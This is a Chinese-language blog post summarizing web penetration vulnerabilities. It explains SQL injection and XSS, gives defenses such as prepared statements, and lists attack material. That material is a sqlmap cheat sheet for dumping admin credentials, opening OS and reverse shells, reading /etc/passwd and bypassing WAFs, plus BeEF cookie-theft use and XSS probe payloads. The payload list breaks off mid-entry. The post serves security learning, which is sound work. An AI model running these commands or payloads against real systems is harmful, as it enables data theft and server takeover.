web渗透常见漏洞总结

一、SQL注入

1. 原理

SQL:结构化查询语言

所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。

SQL注射能使攻击者绕过认证机制,完全控制远程服务器上的数据库。

当应用程序使用输入内容来构造动态sql语句以访问数据库时,会发生sql注入攻击;如果代码使用存储过程,而这些存储过程作为包含未筛选的用户输入的字符串来传递,也会发生sql注入。

2. 不同数据库的注入      access/MySQL/Oracle

3. 注入流程

    a.检测是否存在注入漏洞

    b.检测后台数据库类型

        url地址末尾输入  ?id=1#    回显正常则是MySQL;输入  ?id=1--+    回显正常可能是SQL  Oracle MySQL  ; 以上前者正常回显,后者异常回显,表明的access;

        或者根据报错内容提示看,显示ODBC和microsoft  表明是mssql; 显示ORA表明是Oracle;

        或者利用如下谷歌插件直接查看;

         

    c. 尝试sql注入

        联合查询注入/布尔盲注/报错注入/时间盲注/堆叠查询注入

        二次注入攻击/宽字节注入/base64注入/cookie注入/HTTP头参数注入/绝对路径的注入......

4. 如何防范?

      本质上还是对用户输入数据的绝对信任,当我们对用户输入的数据绝对不信任的时候,就可以预防sql注入

       a.对输入数据长度的限制

       b.关键字过滤:对每个参数的传递进行检测,对其进行sql关键字过滤如(select insert where)   建议采用正则检测和递归过滤

       c. 对参数携带的特殊字符进行转义和过滤:
     因为好多注入点都是在字符位置发生的,如果需要进行sql注入,就要先进性闭合的符号判断(id=’$id’ 如果不进行引号的闭合,数据库就会认为用户输入的所有参数为同一个字符串,这样sql注入的参数就会被认为是无效的)这也是我们的防护手段之一建议采用正则检测和递归过滤

       d.预编译防注入:预编译防注入是目前最好的,最有效的防注入手段在数据库进行预编译的之后,sql语句已经会被数据库编译和优化了,并且运行数据库以参数化的形式进行查询,即使传递来的敏感字符也不会被执行,而是被当作参数处理

        e.不要直接显示出错误的原因,最好指定一个错误的页面,尤其是sql注入(即使存在注入,也要让他去盲注)

5. 使用sqlmap工具自动化注入:
 

sqlmap.py -u "url"             # 检测是否存在注入点

sqlmap.py -u “url” –dbs                         # 列出所有数据库
sqlmap.py -u "url" --tables                      #列出数据库的表
sqlmap.py -u "url" -columns -T admin         #列出admin的内容
sqlmap.py -u "url" -dump -T admin "useradmin,password"         # 列出这两个字段的内容
sqlmap.py -u url –dbms “Mysql” –current-db                 #当前数据库
sqlmap.py -u “url” -D xxxx --tables                                 #列出指定数据库的表
sqlmap.py -u “url” -D xxxx -T xxx --columns                  #列出指定表的内容
sqlmap.py -u “url” -D xxxx -T xxx -C xxx,aaa –dump                     #列出指定字段xxx和aaa的的内容
sqlmap.py -u “www.xxx.com/index.php” –cokies “id=7” –tables                 #用cookies方式列出数据库的表
sqlmap.py -u “www.xxx.com/index.php” –data “user=1&pass=1” –dbs                #指定post参数注入出数据库
sqlmap.py -u “www.xxx.com/index.php” –forms sqlmap                    #自动查找网页上的表单,并注入
sqlmap.py -r 1.txt -p user                # 用burp抓包,保存为1.txt 然后用-r参数注入,用-p参数来指定网页上的参数
运行sqlmap并使用如下命令:./sqlmap.py -r search-test.txt -p tfUPass,这里参数 -r 是让sqlmap加载我们的post请求rsearch-test.txt,而-p 大家应该比较熟悉,指定注入用的参数。 注意-p 后面的参数是否打错

sqlmap.py -u “url” –os-cmd=ipconfig                 # 执行ipconfig命令,必须有足够的权限
sqlmap.py -u “url” –os-shell                           #获得一个shell 会在网站目录下生成两个文件,一个是tmpbxbxz.php他是来运行shell的。 一个是tmpuoiuz.php他是来上传文件的
sqlmap.py –dump -D                                 #数据库 -T 表 拖库

sqlmap.py -u                               #注入地址 –privileges 查看权限

sqlmap.py -g “inurl:\”.php?id=1\””                          #处理Google的搜索结果


 –dump -D hzk -T hk_user -C mobile -start 1 -stop 100         # 前100条数据

–user-agent “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)” -v 3       #使用自定义user-agent,或者使用随机使用自带的user-agents.txt
–smart –level3–users                             #smart智能level 执行测试等级

–dbms”Mysql”–users             #dbms指定数据库类型

 –passwords-Uroot-v0                     #列出指定用户数据库密码

–dump-C”password,user,id”-T”tablename”-D”db_name”–start1–stop20                #列出指定字段,列出20条

–privileges                     #查看权限

–is-dba-v1             #是否是数据库管理员

–roles                   #枚举数据库用户角色

–udf-inject                      #导入用户自定义函数(获取系统权限!)

–dump-all–exclude-sysdbs-v0                     #列出当前库所有表

–union-cols                    #union查询表记录

–cookie”COOKIE_VALUE”              #cookie注入

-b                      #获取banner信息

–data”id=3″                #post注入

-v1-f                           #指纹判别数据库类型

–string”STRING_ON_TRUE_PAGE”                    #指定关键词

–sql-shel                              l#执行指定sql命令

–file/etc/passwd sqlmap-u”http://url/news?id=1″ –os-cmd=whoami               #执行系统命令

–os-shell                     #系统交互

–os-pwn                    #反弹shell

–reg-read                         #读取win系统注册表

–dbs-o”sqlmap.log”                      #保存进度

–dbs-o”sqlmap.log”–resume                    #恢复已保存进度

 –tamper”base64encode.py”                          #加载脚本(可利用绕过注入限制)

 –tamper “space2morehash.py” -v 3                #SQLMap绕过WAF
 –tamper “space2mssqlblank” -v 3                           #Mysql 伪静态注入

       

二、xss跨站脚本攻击

1. 原理

      xss : Cross Site Scripting  跨站脚本攻击

      程序员在编写代码时,未对用户输入的数据进行处理或处理不当,导致恶意的payload进行执行,简单来说就是对用户输入数据的过分信任。 

2. 分类

     

3. 危害

      钓鱼欺骗/网站挂马/身份盗用/盗取用户cookie信息伪造用户身份/垃圾信息发送/监视用户浏览历史/xss蠕虫打广告、刷流量、恶作剧......

4. 漏洞利用

        工具:beef

        BeEF服务器本质上就像一个Web应用,被分为前端UI和后端。前端会轮询后端是否有新的数据需要更新,同时前端也可以向后端发送指示, BeEF持有者可以通过浏览器来登录BeEF 的后台管理UI。

        过程:配置beef默认连接msf---启动msf---运行beef(127.0.0.1:3000/ui/panel)

        利用:可自动默认收集信息,获取浏览器版本等信息/系统信息/用户行为/cookie信息;修改整个页面尝试社会工程学;网络扫描/浏览器劫持/网络拓扑;获取位置信息/键盘记录/IP地址/表单......

5.  产生的位置         

       输入输出框等位置 ,比如搜索框、输入输出栏、留言板、登录处......   

6. 常用挖掘语句

<script>alert('1')</script>

<svgonload=prompt(1);>

<body onload=prompt(1);>

<a onclick=alert(1)>M

<img/src/onerror=alert(1)>

<img src=x onerror=alert('1')>

<marquee/onstart=confirm(
  • 0
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值